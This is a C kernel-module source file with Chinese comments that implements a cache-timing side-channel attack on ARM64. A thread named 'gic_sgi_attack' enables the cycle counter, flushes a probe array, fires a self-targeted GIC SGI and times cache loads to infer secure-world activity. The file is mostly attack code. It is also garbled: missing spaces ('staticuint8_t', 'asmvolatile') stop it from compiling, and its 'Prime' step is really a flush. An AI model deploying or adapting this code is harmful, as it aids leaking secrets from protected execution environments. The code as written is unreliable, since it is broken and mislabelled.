ARM64 GIC时序侧信道

// gic_sgi_probe.c — 内核模块，用于发送 SGI 并执行 Prime+Probe

#include<linux/module.h>
#include<linux/kernel.h>
#include<linux/kthread.h>
#include<linux/delay.h>
#include<asm/barrier.h>
#include<asm/cacheflush.h>
#include<asm/io.h>
#include<linux/irq.h>
#include<linux/interrupt.h>

#define SGI_IRQ 0   // 使用 SGI ID 0
#define PROBE_SIZE 256 * 64  // 256 sets * 64 bytes line
staticuint8_t probe_array[PROBE_SIZE] __aligned(64);
staticstructtask_struct *attack_thread;

// 发送 SGI 到自身 CPU
staticvoidsend_sgi_to_self(void){
uint64_t val = (1ULL << 40) | (SGI_IRQ << 24) | (1ULL << 16); // 目标自己
asmvolatile("msr ICC_SGI0R_EL1, %0" :: "r"(val));
    isb();
}

// Prime：刷新探针数组的所有行
staticvoidprime_cache(void){
for (int i = 0; i < PROBE_SIZE; i += 64) {
asmvolatile("dc civac, %0" :: "r"(probe_array + i));
    }
}

// Probe：测量每行的访问时间
staticuint64_tmeasure_time(void *addr){
uint64_t start, end;
asmvolatile("isb" ::: "memory");
asmvolatile("mrs %0, pmccntr_el0" : "=r"(start));
asmvolatile("ldr x0, [%0]" :: "r"(addr) : "x0");
asmvolatile("mrs %0, pmccntr_el0" : "=r"(end));
return end - start;
}

staticintattack_loop(void *data){
while (!kthread_should_stop()) {
        prime_cache();
// 触发安全世界执行（此处通过 smc 调用或等待安全世界事件）
// 在真实场景中，攻击者需要与安全世界交互；这里简化：发送 SGI 模拟中断抢占
        send_sgi_to_self();
// 等待中断处理完成
        udelay(10);

// 探测缓存，寻找异常低延迟的行
for (int i = 0; i < PROBE_SIZE; i += 64) {
uint64_t t = measure_time(probe_array + i);
if (t < 100) { // 阈值，表示缓存命中（可能被安全世界预加载污染）
                printk(KERN_INFO "Cache hit at offset %d, time %llu\n", i, t);
            }
        }
    }
return0;
}

staticint __init gic_sgi_probe_init(void){
    printk(KERN_INFO "GIC SGI Probe module loaded\n");
// 启用用户态性能计数器访问（在 EL1 中直接使用）
asmvolatile("msr pmuserenr_el0, %0" :: "r"(0x1));
asmvolatile("msr pmcr_el0, %0" :: "r"(0x1 | (1<<2) | (1<<6))); // PMCR: E, LC, C
asmvolatile("msr pmcntenset_el0, %0" :: "r"(1ULL<<31)); // enable cycle counter

    attack_thread = kthread_run(attack_loop, NULL, "gic_sgi_attack");
return0;
}

staticvoid __exit gic_sgi_probe_exit(void){
    kthread_stop(attack_thread);
    printk(KERN_INFO "GIC SGI Probe module unloaded\n");
}

module_init(gic_sgi_probe_init);
module_exit(gic_sgi_probe_exit);
MODULE_LICENSE("GPL");